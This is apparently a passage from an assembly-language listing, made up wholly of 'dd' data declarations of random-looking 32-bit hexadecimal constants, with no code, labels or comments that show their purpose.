		dd 46C1CF65h, 993B5070h, 0BA43DFF9h, 475EF56Ch,	0C31B54E0h
		dd 5DC31AF0h, 0F466DAD3h, 81F7A83Fh, 0BA21C5B2h, 0FFB0F92h
		dd 9C091D04h, 52140617h, 0BBEBA6F2h, 0D84F87FBh, 1E5EBC47h
		dd 5E5F2959h, 8D756CFEh, 0B883721Ch, 7E73CADFh,	3F5A8391h
		dd 0A0168246h, 0B27C3FEBh, 0BF1B2482h, 5110FE6Ch, 83638D8Fh
		dd 0A5FF34F2h, 2C38587Bh, 73BBF684h, 2DFBCC96h,	1978A348h
		dd 8BD4B8DDh, 5F4B6152h, 0FCF9E91Bh, 0CA78093Eh, 7CCBDE24h
		dd 0BFE23908h, 0EBBFB857h, 80C0D8E0h, 0E63ED924h, 5668BE17h
		dd 35704844h, 0D86A50h,	922B10BAh, 0A0C9CF1Eh, 85B1EBD4h
		dd 92F63881h, 42A6559Dh, 0BDC59B1Ch, 0ECA6FED6h, 3EEE62E9h
		dd 0E330FA39h, 382EE07h, 0D3A4D7D4h, 0A5C36682h, 67C7F5DFh
		dd 76B57924h, 29203BE2h, 44F7FF22h, 0DFF22E53h,	5CBBCFAh
		dd 7C6FD27Dh, 0A15B5D66h, 601FCB9Ah, 0FF513AF0h, 0E3DEE6D7h
		dd 0EEA59A78h, 416F59D9h, 77B11D34h, 738B9F80h,	0BB129585h
		dd 0DD2D2FF6h, 8E1A1D74h, 0D5E8ED37h, 92316384h, 0E20AD0C3h
		dd 0D9794658h, 677DD2B5h, 0EAE15851h, 0F5CC1B7Fh, 0EA21976Ah
		dd 91963432h, 64B7CBAFh, 0BF2A30D3h, 0EE85EE7Ah, 0C0FC5360h
		dd 3495ECECh, 5C6AC855h, 0FB3EF7B6h, 8556DFDBh,	98FF0772h
		dd 0C10D5916h, 3A6C8FE7h, 8ECACA89h, 0E39527EAh, 0C0D89BA3h
		dd 0BE08BDEEh, 9FBDEB6Fh, 0D8D16127h, 0C1EF756Dh, 7D4E085Ch
		dd 64FC5468h, 43CF12D2h, 0DE5791Ah, 978EEA86h, 71ADAACAh
		dd 6C13C3EAh, 40C58A7Bh, 0E9CDCCABh, 0E5CA413Fh, 6C08F3FCh
		dd 0FDF87355h, 53E24E3h, 10A032BEh, 630E0226h, 68CA6DBFh
		dd 9A0A0F2Ch, 0C14A7CF9h, 1B874CD2h, 0F7F507A0h, 0A0333744h
		dd 0DDA16FC9h, 0D9E3922h, 5989D79Fh, 0F5D37CE3h, 2D580095h
		dd 0DD9CBDE8h, 0B98FF7D8h, 947FEEE8h, 0C421AE4Ch, 0E4324120h
		dd 0F663B8F6h, 0CAF66FB6h, 8D8ADFD3h, 33EF7A20h, 2E62F7A2h
		dd 6D38AA5Ch, 79352EAAh, 0BBF91410h, 4714F2BAh,	0F4B6EEE2h
		dd 0A4897E0h, 48B049C9h, 0C026E14Ah, 0B882AE40h, 86727A2h
		dd 0E603ACF3h, 4F588C3Ch, 0CC652BF2h, 0A1552B41h, 0B5C5DF42h
		dd 2D554E6Ah, 0AAB0F3FFh, 5E4EDDE0h, 964C385h, 6343D5B6h
		dd 0F95FA6C7h, 0CB244479h, 2064FA3Dh, 0F169494Fh, 0E731F48h
		dd 0B48F194Ch, 4444DAEAh, 3A2F5FFEh, 9B2A9E04h,	522AD6Bh
		dd 4B5D26C1h, 0B92088FDh, 0F20875F7h, 0CAC7DA09h, 5F4AEE24h
		dd 1FEBD91Eh, 1C6C5FE9h, 0E0664959h, 0AAF78581h, 41C1B95Eh
		dd 10DF1B3Ch, 0AC74CEA2h, 81C8761Ch, 4A92B79Ah,	3F018E3Fh
		dd 8BC12341h, 8ECA6E59h, 0BA9FD601h, 0B81B25Eh,	0FDF01124h
		dd 0FDADA48h, 0C11759ECh, 4CE227D0h, 271A99F7h,	0D2C7CF97h
		dd 4F5CBC04h, 4F2D7AD8h, 5B38F52h, 52F4528Ch, 0F715A75Ah
		dd 3BF5FEC2h, 26E8FC30h, 0D9DA1F13h, 8B928442h,	0B38648F1h
		dd 0B948E1AAh, 81BFA04h, 0FBDC9DB2h, 0D4B82F14h, 0B8685C33h
		dd 0D480DA4Eh, 1DE0B2DFh, 73225F6Ch, 7EAA3065h,	2DCE742Bh
		dd 0F5814298h, 0FC4BDC33h, 9E4F07A8h, 602FEDD3h, 0F9EC961Bh
		dd 0D5F498CAh, 0C2B57215h, 424D9AE8h, 0C0A0EC15h, 7C3A6410h
		dd 0EA578AA0h, 0CD993FE7h, 4E56EDF8h, 3B8C91A5h, 0FEDF1C67h
		dd 0D72DCEB7h, 0B780A388h, 19D079A8h, 348BC4F2h, 790F7D84h
		dd 0FB3E5A72h, 0D72F4E0Eh, 0E2481F1Ah, 23B0FB40h, 26EBF056h
		dd 72F0BCAEh, 8A45D3AAh, 72CE4191h, 12391676h, 6B3799AFh
		dd 78E6720h, 2AF20137h,	8CD379BEh, 5CFB79F4h, 0D9051206h
		dd 0E65D7BA2h, 0AF1A04D4h, 0FAB2FC22h, 0AA0311DBh, 95A72184h
		dd 0A931EDCAh, 2FE82F9h, 0B19EF0C3h, 61E53B79h,	9ACC1617h
		dd 0E8F8F246h, 618185EAh, 0A271EB09h, 7A1CCE75h, 0DB1C4D0h
		dd 5AEB7BA2h, 0A0099477h, 4E4E3B9Ch, 57896C4Fh,	3E9A34DEh
		dd 1D44A828h, 78F8F94Fh, 0C4B982B5h, 2A9C683Eh,	0FB72B8F8h
		dd 0CD842B8Eh, 2703FFE1h, 5785B242h, 99A64F6Dh,	0A46B431Dh
		dd 0E16E4DA9h, 1FD8D372h, 0F836237Ch, 9961BC15h, 0F45E6A32h
		dd 5E4BBD9Bh, 3FF29152h, 0D5BF7C9Ah, 0C4B2EE86h, 2ED6F7A5h
		dd 6C58E265h, 0AA780666h, 6FC4BA70h, 3D6F57F9h,	0C585A237h
		dd 25DBD80Ah, 0E56447D4h, 5CDDBC95h, 8BB1A1A3h,	0F788DF0Eh
		dd 6D9A4D7Ah, 0A5EFA5EAh, 0E66A7492h, 8D0A1D6h,	6743E252h
		dd 4F59BE5Eh, 58C18BDBh, 4ECBD694h, 7A5971F8h, 0AC55EE26h
		dd 8954872Ch, 0FC784D92h, 0DCFEFFF8h, 4B43F442h, 5C5A09B7h
		dd 2E8515C1h, 8DC228E3h, 233BD994h, 2232A93Ah, 0E5016CF0h
		dd 62B9149Eh, 2B780DBh,	3D98B9AAh, 24F5A94Bh, 64708866h
		dd 855FC12Fh, 34A74Ah, 65E8A29Ah, 0FE21C033h, 2CF28BCCh
		dd 673C453Eh, 0FEDA4BFAh, 0A1A4218Bh, 0D37152C4h, 3850BAC3h
		dd 5B6ED4E5h, 0AC4641A3h, 45BF0E52h, 0B172EED7h, 0CB6E2ECBh
		dd 0E91E6504h, 2949E082h, 291160h, 24218640h, 0A3B43F43h
		dd 0EF403504h, 0C2A046F7h, 3631DCA4h, 0DDFE1246h, 0DAE9E005h
		dd 0F193A19Bh, 4504748Ah, 421A1C77h, 1A5FD274h,	58F85E47h
		dd 57CCA6D7h, 0A5413ABEh, 0ED18D3FCh, 747772EFh, 0EA9DFCDDh
		dd 39D474B0h, 14C16644h, 0F520383Eh, 0E52775D7h, 7F7179CDh
		dd 6F9227E4h, 45CDC3BDh, 0ADB43523h, 71772E81h,	7B6C3795h
		dd 0FC483F57h, 6427036Fh, 79095680h, 7ECAC324h,	0B14B0F56h
		dd 0C539A858h, 0B544C3ABh, 0A05CC01Fh, 458F2808h, 54B7C02Fh
		dd 3845931Ah, 61298943h, 9E372AE0h, 2E1FEE1Ch, 5862CC0Ah
		dd 8AD1CBC8h, 9C4C11D3h, 45F398B8h, 0A05FC78Fh,	0F838D46Ch
		dd 0CAA68A63h, 5ACB1F59h, 131FF680h, 4C190930h,	8F4BF894h
		dd 4DCE98DDh, 0A10256A3h, 674CEDF0h, 28927AF7h,	5FBFD1CFh
		dd 0AB4DB831h, 2C83C504h, 0EC20793Ch, 69AF5A7Ch, 9C00EA89h
		dd 2E7B5A33h, 176E0306h, 0E5C3013Eh, 1D4EBF96h,	0AE74ABAFh
		dd 3EB6FF58h, 0C0A23Fh,	0D313D15Ah, 0FD58C92Eh,	9BBC42ECh
		dd 5785A260h, 441E9678h
		dd 0BEAB2651h, 8D46B139h, 15D7463h, 0C093E8C4h,	320BD31Eh
		dd 0DD44298h, 0F028EAC5h, 9DF093F1h, 8F1DDA87h,	33EB474Eh
		dd 226DED25h, 2972F34Bh, 0AB90FC9Ah, 2E799389h,	0DE5DCA0Eh
		dd 10313228h, 73A8937Ah, 0A15DF91Bh, 0F6C3ABCBh, 1DF0F78Ch
		dd 4F948A25h, 41A9E3FAh, 0A89E187Dh, 0ED1E8227h, 0F1A8660Ah
		dd 5548987Ah, 0E77093D2h, 763FA3Fh, 0BA3C62FFh,	0F026A063h
		dd 3751ACB9h, 0BFBB2B58h, 65BDE72Ch, 325585D3h,	0BD067A0Fh
		dd 0D364E41Ah, 0C3EDF586h, 0F1783A35h, 0F4CC41CBh, 96E32490h
		dd 0B3D93F18h, 318F1AA1h, 0EFDDF14Ch, 88D506B4h, 35282B48h
		dd 0E22D2EFh, 0B557C7EBh, 0CD31DC1Ch, 17B64A49h, 0B1FC8A10h
		dd 0B6B226E2h, 0A91AA8EBh, 85C298B3h, 689457F8h, 8A14B6B9h
		dd 0BCF2EA61h, 346819F8h, 1AB46315h, 763C9027h,	0ED55A2ECh
		dd 1C55AD28h, 0C3EFA7C0h, 6B146786h, 0F75270BEh, 32551CF1h
		dd 0F743EB88h, 84A6120Bh, 16253930h, 0CE7C1F03h, 3B3C1C0Eh
		dd 6B4B7D9Ch, 0CA14A44Ch, 91CC5069h, 39ED885Eh,	7B486608h
		dd 45DBAED3h, 5620C1EEh, 0B9A35CA5h, 774001D0h,	0ED0B8313h
		dd 0C2FC4470h, 1356A3DBh, 95136F9h, 0A5E7076h, 0BC7F6766h
		dd 2158E815h, 44B692B2h, 0E80142FEh, 0FF2EE781h, 0C8F1E294h
		dd 86FE75D2h, 0EE2E4A1Bh, 2DB328C5h, 37418184h,	0EBD0BA38h
		dd 0ACBF9D2Ch, 475784ABh, 0E49CE465h, 0D3605DB9h, 0A08A4CB7h
		dd 1A7DE779h, 0ECD664A0h, 9F858A70h, 0B363FEB6h, 0DAF5804Dh
		dd 343869D5h, 22F5C880h, 0C9E31832h, 1AC06B3Bh,	748C61C3h
		dd 0F2F621BEh, 0AE0F2D35h, 71B51D4Eh, 0D1F50C99h, 6D99A27Fh
		dd 1D79BF4Ch, 99F9F666h, 0D7DFABBAh, 0E66DDF07h, 5AA9505Ah
		dd 0E07094F8h, 0DBECFB5Eh, 0DDB7BEFh, 6AC489Ch,	9C4E7649h
		dd 60A26F3h, 3AC3A006h,	0EE15C329h, 0AF106638h,	3E760241h
		dd 6959C435h, 5D2304E2h, 7FAB10BDh, 0F52E7C45h,	98EA4197h
		dd 7573C6C6h, 3289A617h, 0DCB145C1h, 86D8AE8Fh,	569EBB93h
		dd 0F6434783h, 0CA2EF82Ah, 8D15452h, 0FE53D58Ch, 1B5A5A9Ah
		dd 7B51235h, 0A3154747h, 0BEFF2539h, 74DCAC7Eh,	5EDD596Dh
		dd 661D9576h, 3DA8F37Dh, 8A965D51h, 6796FEE2h, 0A6B751E3h
		dd 9DDAEF17h, 5EABA791h, 0F655A0A3h, 118AED64h,	0C2B07B4Bh
		dd 0EFEC410Ah, 5273CEF9h, 41DF1958h, 0D22248D8h, 8E52A5F7h
		dd 4C1B1AACh, 23CB122Ah, 9D4E7B13h, 0E6E93872h,	0C0359ED2h
		dd 18E22D9Ch, 0FDE1A7A0h, 385B84D6h, 2D73C916h,	29D113D3h
		dd 610FBB6Eh, 8F923306h, 50C94478h, 0A6BA4997h,	0C3B1CA01h
		dd 0ADCD1045h, 870FD285h, 8339B2ABh, 0D2889DB3h, 0F4B5538Ah
		dd 6C1C83E9h, 0E97D7A30h, 0B962DF7Fh, 5355B37Bh, 0E88BF283h
		dd 379F2098h, 0E272D035h, 75660EB8h, 0A293E161h, 5BA4BA62h
		dd 0C65F3E0Ch, 0AD458585h, 64AB256Bh, 0A3F91DA0h, 32BDC556h
		dd 889759C5h, 0DE0C90A4h, 4D93B95Eh, 0D3689C2Dh, 13FEEF61h
		dd 27B6188Eh, 15C8EDB6h, 0B246DB45h, 2E4D4312h,	0F40B51BCh
		dd 0E0AC44A2h, 0A9276C39h, 272C1B9Ah, 27E7A204h, 3F29B754h
		dd 0E246109h, 2E8696A3h, 0FAF8B68Ah, 17864630h,	433001CEh
		dd 92856165h, 0BB10D2BAh, 0AB8BD1D4h, 3DF6FCBBh, 3B4B4F44h
		dd 0CE57AE37h, 6401032h, 0FFAEB193h, 22305F35h,	0F59BD8CAh
		dd 6D781D55h, 94B53AEBh, 826FECC2h, 0DA3E11DCh,	364CA666h
		dd 99FD6FEh, 0B76C60EAh, 1470E542h, 47BB2DE5h, 35DB8805h
		dd 0DB77BC7h, 61CF81B4h, 59F2D785h, 0E91576FAh,	50CE117Fh
		dd 0ABACA7A3h, 0C550BF71h, 0BCE184E4h, 6462E87Bh, 33866930h
		dd 5258871Dh, 80350310h, 713E859Eh, 0DC6F8A23h,	5C62C2B9h
		dd 6BBB7962h, 0C00B5242h, 0CFBBAAF4h, 48B2FABFh, 0BD6F2CEFh
		dd 0FC29DBE4h, 3FDFA929h, 7584716Ah, 0D2BB8D97h, 0A09E51CEh
		dd 0BE0CAE30h, 3BD675BFh, 0A50F871Eh, 0B5234076h, 0EC1DBE40h
		dd 358F2ECBh, 0B7DFF368h, 0CED7B24Dh, 0C25735Bh, 649985A7h
		dd 1023267Ah, 4871C56Bh, 0CF049B43h, 4107227Bh,	0D0575631h
		dd 0F0D0572Eh, 2C890722h, 0B129ED8h, 128FFB40h,	0E64C7810h
		dd 0C5A3422Fh, 14E0D85Ah, 0D7E02194h, 0A72E942h, 2E22549Fh
		dd 0CDE583FFh, 763A25F0h, 9498038Bh, 4D16719Fh,	0C624BB71h
		dd 4715C3B8h, 0FE39DDCEh, 0A834E230h, 0D3DC9921h, 0B25E0463h
		dd 0E8E6C1EEh, 5321ACA8h, 0BB345106h, 0D5592EEDh, 52E9D525h
		dd 4BF9B956h, 28CF1AA3h, 1A8C2643h, 0BF49AB31h,	43AC46B5h
		dd 0BF2CAA8Bh, 3A232171h, 880BDFFEh, 0DEB9DD70h, 0BBCC0F22h
		dd 0C355784Bh, 0A3A0E508h, 0A491482Ah, 7AB3057Bh, 0B99529BBh
		dd 9A33C895h, 47AADA37h, 0F7ED476Ch, 0DEEFD8F0h, 0C3403E7Fh
		dd 6027CFA9h, 0FB1ED0DBh, 52AC2AD2h, 0D331AD8Ah, 0FA20E519h
		dd 1F803EA7h, 23C9A256h, 38CFB20Dh, 968D4969h, 41578BD9h
		dd 289EEAF2h, 30C313FEh, 0E93EE6ACh, 9753DAEh, 148A6689h
		dd 0F48EC84Ah, 832DDCC2h, 0B30DCDD4h, 0AD1604EFh, 0CAD31DF1h
		dd 674D15F9h, 0CB52BE45h, 36C64DEEh, 13662F9Dh,	0D9A129D9h
		dd 1EF64484h, 0A6D60172h, 96E2C577h, 0AE918810h, 6EFCCEB7h
		dd 0F9A9539Ah, 8FC7AD23h, 834568Eh, 2C68D872h, 1FE513A5h
		dd 8BA01473h, 0B54BFF02h, 0EE049E60h, 4F9C7ACBh, 12750737h
		dd 50B22906h, 0C8F9E383h, 1018C45Ch, 78A3BA82h,	46C78E0h
		dd 41DD7180h, 0DD3AB92Dh, 0AF377477h, 0ADAE9D2Ch, 2ACE72B9h
		dd 4F1DEF29h, 7D37A421h, 53AFA0BEh, 0C109F654h,	0DF8A2823h
		dd 0ED09D2D0h, 0AF24A732h, 55229A31h, 0FB8D08B0h, 93FBEAC9h
		dd 379507F4h, 8EAC2B7Ch, 0BC0BE810h, 0C8ACEA9Eh, 0C4009C4Eh
		dd 490A7EF9h, 86638A25h, 0C48E844Fh, 4B19F3EBh,	3A4461B1h
		dd 0DD16A893h, 0FB0425C5h, 0E75F28E6h, 0ACF31E9Eh, 9D5A8DE8h
		dd 768D7184h, 0C988290Dh, 346B5E2h, 0DB5C2FC8h,	0C6FA84B8h
		dd 1EC84FC9h, 677E77E6h, 0BEF9C6FAh, 4F5D1D16h,	0D6547E9h
		dd 7693E639h, 0E7A71D36h, 0BBF51490h, 0B7534D80h, 3A143C34h
		dd 8DAB692Bh, 0EAB2E821h, 0EE6062C7h, 27B062A7h, 9CC2E409h
		dd 2EA51C0Fh, 0E0F5E2BBh, 0C1EE6179h, 0BDC0ABB2h, 0F3CB5DEFh
		dd 0F9109D6Ah, 0CD670F3Fh, 0F938D781h, 2C014BCDh, 885786F2h
		dd 0EBCCB852h, 0C82A1559h, 0F5BC3BB1h, 0FEFA2B8Dh, 0F95A7A01h
		dd 35788C7Bh, 0B040C4D6h, 0D819AD79h, 3B2F13FCh, 939628EBh
		dd 0BD183F15h, 0F86502B7h, 0F3E53486h, 8B8D7598h, 75B7F609h
		dd 4609538Fh, 8217A1FBh, 41AF9F47h, 98FA61A4h, 927D811Eh
		dd 26C9DA66h, 6DF12ABBh, 6D8BB791h, 0EBC51606h,	7A296E7Bh
		dd 890D5A2Fh, 1B6E3E25h, 0C9C4708Eh, 0C33977ECh, 0CAE59997h
		dd 0A2BF77FAh, 0D432BEBFh, 47E57DB4h, 0D104DDE2h, 334BE68Ch
		dd 0D3AF6302h, 0E22B2BACh, 88B2EEF7h, 2E203464h, 0A3C34764h
		dd 0CFAE6BBAh, 0A24CD240h, 82841A27h, 19BC89B1h, 35B59D77h
		dd 299EB275h, 0B4430900h, 0EC9E73C4h, 0F7273F7Ah, 404071C5h
		dd 0A6D7772Eh, 0D2087BB7h, 181D11B1h, 0B7F59204h, 6636B151h
		dd 0A7C7B7D6h, 0A2D23009h, 0CCDA99Dh, 35DB234Fh, 9A4E6453h
		dd 2976F14Ch, 1FFD3C25h, 125197D7h, 5D9DF25h, 0BABA8129h
		dd 7AA7A396h, 6B6B83E9h, 32431EB4h, 0F54DF68Ah,	33468D97h
		dd 4713062Ch, 0FAA9741Dh, 819F1447h, 29D58A63h,	2C30F62Ah
		dd 0A653F0A1h, 1E1F29CBh, 2CD99F2Fh, 39D2211Bh,	22A10C8h
		dd 0E916B6ECh, 619EA0F2h
		dd 2A7CDD53h, 21FF63CCh, 1887B444h, 0C5D521FCh,	93353EECh
		dd 1934CD1Eh, 0E779946Ah, 0A2EBE341h, 0EAB41F9h, 0B8965DDFh
		dd 0A7498B19h, 0F586BB81h, 87F3EDF8h, 0F51A9B85h, 916255DEh
		dd 5A2D4E92h, 58792F6Dh, 88BA2A0h, 52D8D8F5h, 661F08F9h
		dd 76F0CC70h, 0C8B6AAA0h, 74063366h, 3D5EBFA4h,	4B4BEBBh
		dd 494681BBh, 0D0106A23h, 992624C3h, 95684211h,	5FADAA67h
		dd 0A8F53593h, 0F868ADD3h, 7FE49C41h, 7017A75Ah, 9F015211h
		dd 0D09DFA0Eh, 4796C0CAh, 6379AD07h, 0FFA67831h, 0A6E79C5h
		dd 15C2D42Dh, 2AC604FAh, 7E7DFD1Dh, 5DBFD31Bh, 34AF1AEh
		dd 944CB97Ch, 3A60B7C7h, 82F90A81h, 0CC0174AFh,	6FEA600Ah
		dd 0AEE43888h, 19F046C3h, 5F15448Ch, 710CE0C8h,	3EC482EAh
		dd 0DA0CA3A3h, 0CA1B464h, 0E8E350B7h, 0C9F2C619h, 84EB304Eh
		dd 0D1A34928h, 0CC5737A7h, 9F960F61h, 0AD8C820Ch, 7CE68D03h
		dd 0CD1D7833h, 0FDA73E26h, 10C09AD1h, 4EC7C487h, 48597691h
		dd 0CA13ACF0h, 341ACCD4h, 0D727E27Fh, 8DF4BB35h, 0C755B861h
		dd 0CCF52ECh, 0C76748CCh, 0ED469737h, 1CB903FFh, 0E037585h
		dd 0B5A2DD11h, 0D1FC35A2h, 0F740E5Eh, 518157F1h, 0F3A43903h
		dd 0C738999Dh, 0FAEDA3AFh, 7D61A370h, 0C61F58CCh, 0F25C8A80h
		dd 3BDC2885h, 725073A4h, 0EB67C29Ah, 629BFE9Ah,	8ED41592h
		dd 83DB237Dh, 641AEFEFh, 0CD0FFD81h, 0D1B145BFh, 0CC20076Ch
		dd 8DE11617h, 628060FEh, 519E7D54h, 264348D1h, 0F0EC518Ch
		dd 81BA5360h, 1F77CD2Ch, 381E4745h, 0AFAA690Bh,	4F8CD751h
		dd 55CD7EDh, 0DBBF275Eh, 0B8B8D98Fh, 8AC89798h,	0C5DFA6A7h
		dd 887F7476h, 406CCFFDh, 0DA3B6425h, 9E96F6CEh,	5183A061h
		dd 0B379804Ah, 8AF6CD55h, 0A8AF6218h, 0BC431E1Eh, 799D5C73h
		dd 38C9CEE3h, 0D117BEB1h, 4A6D4BB3h, 9A26698Ah,	0CDE4D684h
		dd 1587410Ah, 0DEE79947h, 0B04F1EE8h, 0DDDD3A1Fh, 7CF62600h
		dd 6393D682h, 991A35B0h, 0D83293CEh, 0FB96A4E3h, 2E460833h
		dd 0F9A63596h, 0E5AAE9FCh, 5FA74DDBh, 2152DDCCh, 5518F8A0h
		dd 0A2734CD0h, 90D48208h, 72338F3Ah, 0EA74615Ch, 0CB03142Ah
		dd 63417D76h, 0DA3278B6h, 4C9E0A85h, 48635384h,	915F7989h
		dd 5974D7Eh, 3650F195h,	1C677257h, 7A27B2F6h, 912F6ED0h
		dd 5C7B0F1Fh, 0D1251086h, 3F05A86Eh, 5758D97Ah,	0DE561C3Ch
		dd 0DA92A956h, 675C63DCh, 9A9090BEh, 0EF370CC2h, 5AA0A9FFh
		dd 5C03635Bh, 19451009h, 633D84B4h, 0C257275Dh,	0FFB68E6Eh
		dd 101CFE3Ah, 1648EB5Fh, 0D20110F7h, 6CA9891Bh,	904564D0h
		dd 93050483h, 343EB95Ch, 23177CE7h, 134B9914h, 157D34E0h
		dd 0FFB823DAh, 24ED5886h, 68044CFEh, 82B84091h,	9DB33EBEh
		dd 0C537F50Bh, 784ACB22h, 0F1F1B9F7h, 90B765DCh, 22409D79h
		dd 0AE846F74h, 0D79FF7Bh, 2FDF3197h, 0C7B84E66h, 2DE7C027h
		dd 53AE1C24h, 8983489Dh, 2DC2BEEDh, 0C336432h, 0FD5358E4h
		dd 4361A0BAh, 46E81FD3h, 3BA64488h, 0E31AB5B4h,	99BB95A7h
		dd 0F0959D81h, 0BDEC214Dh, 785165F8h, 703784A7h, 0D81CA214h
		dd 194376BFh, 9939B54Ch, 0CE9296EBh, 0D8FA55D6h, 75929AD7h
		dd 702003Fh, 0B68D1FB6h, 91160289h, 0C9265321h,	691E23D6h
		dd 1B4DD9F1h, 0F6849E9Ch, 979B96FCh, 7377BCAh, 0B1BC4763h
		dd 79D13061h, 2B1B050Eh, 0CC7ACE66h, 76127E2Fh,	90676973h
		dd 216FD3EEh, 0BE3218D2h, 52C9834Ch, 0A7CC5916h, 0F3C74081h
		dd 26866C14h, 6ED98548h, 25324FC0h, 3C7DEBA1h, 53017F8Ah
		dd 0F58A238Ch, 394BF167h, 6DB329E5h, 0C87166CEh, 44FBE7DDh
		dd 491675BEh, 0ACF30DBCh, 0FD00E957h, 627841DEh, 0EC9918F9h
		dd 0CBC7E2FCh, 26412967h, 9BA065A8h, 0D30CAE3Ch, 7D256045h
		dd 0EC50749Ch, 4E8AB5F9h, 0D4AB6AD6h, 1321E737h, 6026AE24h
		dd 690F40C7h, 14443294h, 3389E5FFh, 440450D6h, 210D587Dh
		dd 2AB39738h, 0C09F1189h, 791173C0h, 881E4DC2h,	516C22DBh
		dd 19BA1C52h, 0D9C878DDh, 51B14F47h, 48B85A7Ah,	5E3A1384h
		dd 8D86A9A9h, 0B9424E36h, 14C69973h, 6EE048CAh,	69850A96h
		dd 496093C4h, 2982622Fh, 8C28EE97h, 53F13A64h, 9A34BC20h
		dd 33254590h, 46AFA6EFh, 0F8B8CFEAh, 0D85290EAh, 72BED7DCh
		dd 0D8F182FEh, 0E46F6B82h, 6321BB9Bh, 397AFB30h, 2523F2AAh
		dd 1141F5A7h, 872D018Eh, 0FF203BD3h, 81172944h,	0C8E4B8A0h
		dd 347E9106h, 458F640Dh, 7A992191h, 47DC9301h, 0DF251646h
		dd 5ABB4F0Bh, 0FC2E2925h, 0D9F86D75h, 0FD21019Ch, 0FDF0C114h
		dd 26FFF427h, 0BF8AA7F4h, 0D9E7F3BFh, 0F4D3919h, 1B4E2240h
		dd 870EB18h, 0F2073B92h, 74C93967h, 2D4EA7FDh, 4334A7D0h
		dd 0A8CDA57Eh, 0DDCAC87Fh, 19AEBF5Ah, 44880BE2h, 5CED1B28h
		dd 4B5D36FCh, 0F6E7E658h, 0CA58D455h, 33E669A5h, 9ACC3F38h
		dd 771C6E68h, 9DEAEC8h,	0FDCECF31h, 65AFDDCAh, 52B801A5h
		dd 0EF2D07F3h, 0CA345E1Dh, 3006F31Ch, 0E172A66Ch, 90BF5FEDh
		dd 0DACE2543h, 40548F56h, 0FC26C08Ch, 0D48FAA12h, 501921E5h
		dd 0D2B1E28Dh, 0C5C1A39Eh, 18ECF2AAh, 9C92BFE3h, 12BD03BAh
		dd 80E000A9h, 47BC2D20h, 8CC517D6h, 1D8A2FACh, 0BD2CC44Dh
		dd 5C704D56h, 0CB374759h, 20AA6296h, 7080CAC7h,	0E4831207h
		dd 8FF5B71h, 0CBC9DAD0h, 0DC2934ABh, 215428A2h,	0E95DD79Eh
		dd 0ECF2BA48h, 3673A067h, 6114DA9Dh, 45BC7AD9h,	9BA748AEh
		dd 723983B7h, 0A7EA1F9Bh, 5604349Eh, 0DF37E6F0h, 0AC7C8160h
		dd 596582D8h, 27088355h, 1C0F883Dh, 0BCD03CC3h,	26C205D6h
		dd 0F4DDB364h, 7ADEC0E8h, 0C677AD0Bh, 16DD5C1Dh, 0C727BB7h
		dd 6B2055FBh, 12DA722Fh, 0E69F7C22h, 50F9D8BAh,	4062B913h
		dd 0E47792D5h, 5F8F949Ch, 770383D6h, 4511482h, 13D8D8E9h
		dd 0E7BE8127h, 0C1F86B5Eh, 0D3907238h, 0AF9510Ch, 3BBD2AC8h
		dd 82597AEBh, 4F6385D5h, 0DCDF1133h, 0F480DE76h, 99C93DDCh
		dd 0E0DAE17h, 1B4D0BA1h, 0EA004E49h, 22ABC1CFh,	474CF4EBh
		dd 3B0C3E1Ch, 36929941h, 9F7CBA17h, 622607BBh, 700842Dh
		dd 0EAA9265Eh, 7B84AAC2h, 82A9FA75h, 4555FA25h,	57314ED4h
		dd 5C4CBE32h, 0C13C0CFBh, 1757B709h, 0CC8D90A9h, 60C83825h
		dd 76B967A7h, 3CAF1D9Eh, 0B54DFDB1h, 0B406DFFEh, 17768F2h
		dd 56650A2Ch, 0FE1FA309h, 42ADE19Fh, 4666A4C4h,	69451EDBh
		dd 944806BDh, 51E85C0Ah, 2832AE98h, 140783D8h, 0D548B8D0h
		dd 235D371Ch, 8111AB52h, 2CBFC1E2h, 0A43BE5FAh,	0F519A70Fh
		dd 60EB22B0h, 144332A6h, 0A508744Fh, 6BDE5A12h,	83C1AA84h
		dd 2DD9A2A4h, 9FB1B6FCh, 97392859h, 65111C72h, 4DFE0243h
		dd 0A35FCDCAh, 7E907A5h, 6023C669h, 0CD8C99FAh,	0C40A7116h
		dd 0A90B0639h, 643261E9h, 8576A6F3h, 3213F58Fh,	0C58765CDh
		dd 97DDC544h, 0E2B8A54Ch, 0ABFCEE86h, 1D3B4C99h, 313B3766h
		dd 927B2416h, 8D901FB9h, 0B271C31Bh, 5828B77Ah,	933C3FBFh
		dd 9717864Fh, 0DC7258F7h, 3EF6CDE5h, 0C8D1D9B6h, 373D29A8h
		dd 0E2133508h, 4734F1ABh, 7A04994Ch, 0E76CFF03h, 133B19FEh
		dd 5B2F23E9h, 73C2E03Fh, 6F499ADAh, 0F917F940h,	0B9E2A46Ch
		dd 85D131E9h, 7419CBE6h, 5236D863h, 0DF9A5D5Eh,	0F9A0F4BAh
		dd 0EC978A56h, 81D710B2h, 320801B3h, 8A4BA365h,	0AE9A738h
		dd 96367D7Ah, 758C6295h, 0A8702093h, 297F25CFh,	0ECD248BDh
		dd 0BBD6F5FBh, 8F50589Ch
		dd 167D67A6h, 0A4E0DCD4h, 0D95BBA2Dh, 0AD6F1019h, 13F002ACh
		dd 6AC90478h, 5FEB31AEh, 83731310h, 0DDC99271h,	50910663h
		dd 0C9AEBC4Eh, 0AD14C44Eh, 1AB9B065h, 0B0D79E26h, 0A8A0064Eh
		dd 0FBDD3D4Fh, 0FCF0546Ah, 0FA6D8132h, 83F8696Fh, 0D138D56Dh
		dd 0CE3CA621h, 7C8E45DCh, 0FB15A324h, 0DFD67C26h, 0BB5187E8h
		dd 89C5E66Ah, 76CF3726h, 4A651C50h, 0B4167620h,	814CD5C5h
		dd 0F8E269FDh, 7AFE6BE9h, 74C38961h, 4723CA7Dh,	0B0073D51h
		dd 0E4EA5440h, 0EE7A971Eh, 0E3734F84h, 1A3B415Ah, 0CA29E94Ah
		dd 0A6D74936h, 0BE67910Ah, 0B826EA8Ah, 20C8F21h, 7C855426h
		dd 39E75222h, 29EFC7A2h, 417DF0A1h, 440A84E2h, 121614E5h
		dd 33BD716Bh, 0F3407C1Dh, 6155FC94h, 0F489A464h, 55A9EF7Ah
		dd 7981C4Fh, 73FE5131h,	65A6F348h, 6AED289Bh, 12113F1Fh
		dd 0F41F90Ah, 0B3AE5414h, 99F212B4h, 10D30C0Dh,	0CB6E6214h
		dd 54342BD5h, 164BCBDAh, 21BC5513h, 0AA2BBDD8h,	58F8F693h
		dd 9C229C5Eh, 8B4DD56Ah, 6CC39386h, 26D10EDAh, 0D235E4D8h
